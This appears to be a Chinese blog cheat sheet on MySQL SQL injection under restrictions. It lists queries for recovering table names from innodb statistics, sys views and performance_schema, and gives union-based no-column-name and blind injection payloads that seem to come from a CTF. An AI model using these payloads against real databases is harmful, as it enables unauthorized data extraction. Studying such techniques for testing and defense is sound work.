zoukankan      html  css  js  c++  java
  • SQL注入:限制条件下获取表名、无列名注入

    获取表名

    innodb

    MySQL 5.6 及以上版本存在innodb_index_statsinnodb_table_stats两张表,其中包含新建立的库和表

    select table_name from mysql.innodb_table_stats where database_name = database();
    select table_name from mysql.innodb_index_stats where database_name = database();
    

    sys

    在MySQL 5.7.9中sys中新增了一些视图,可以从中获取表名

    //包含in
    SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
    SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
    SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
    SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
    
    //不包含in
    SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
    SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
    SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
    
    //通过表文件的存储路径获取表名
    SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
    SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
    SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
    
    

    包含之前查询记录的表

    SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
    SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
    

    Performance_Schema

    SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
    SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
    SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
    SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
    SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
    

    包含之前查询记录的表

    SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
    

    包含表文件路径的表

    SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();
    

    无列名注入

    使用union select

    select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
    select `3` from(select 1,2,3 union select * from admin)a limit 1,1
    
    //无逗号,有join版本
    select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;
    

    盲注

    ((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `f1ag_1s_h3r3_hhhhh`))
    

    要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex或者binary
    这里只能使用concat将字符型和binary拼接,使之大小写敏感,JSON也可以使用char byte代替

    参考链接

    Alternatives to Extract Tables and Columns from MySQL and MariaDB
    在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧

  • 相关阅读:
    vue项目,百度地图api高亮选取区域,高亮某个地区,行政区域等
    vue 项目, 通知子组件更新,父组件中每次点击按钮重新加载子组件,(重新生成dom 元素)
    洛谷 P1003 铺地毯
    Codeforces Round #582 (Div. 3)
    安科 OJ 1190 连接电脑 (并查集)
    2018年牛客多校寒假 第四场 F (call to your teacher) (图的连通性)
    牛客小白月赛16 A 小石的签到题 ( 博弈)
    牛客小白月赛16 E 小雨的矩阵 ( 暴搜)
    安科 OJ 1054 排队买票 (递归,排列组合)
    牛客小白月赛15 C 表单 ( map 使用)
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12358725.html
Copyright © 2011-2022 走看看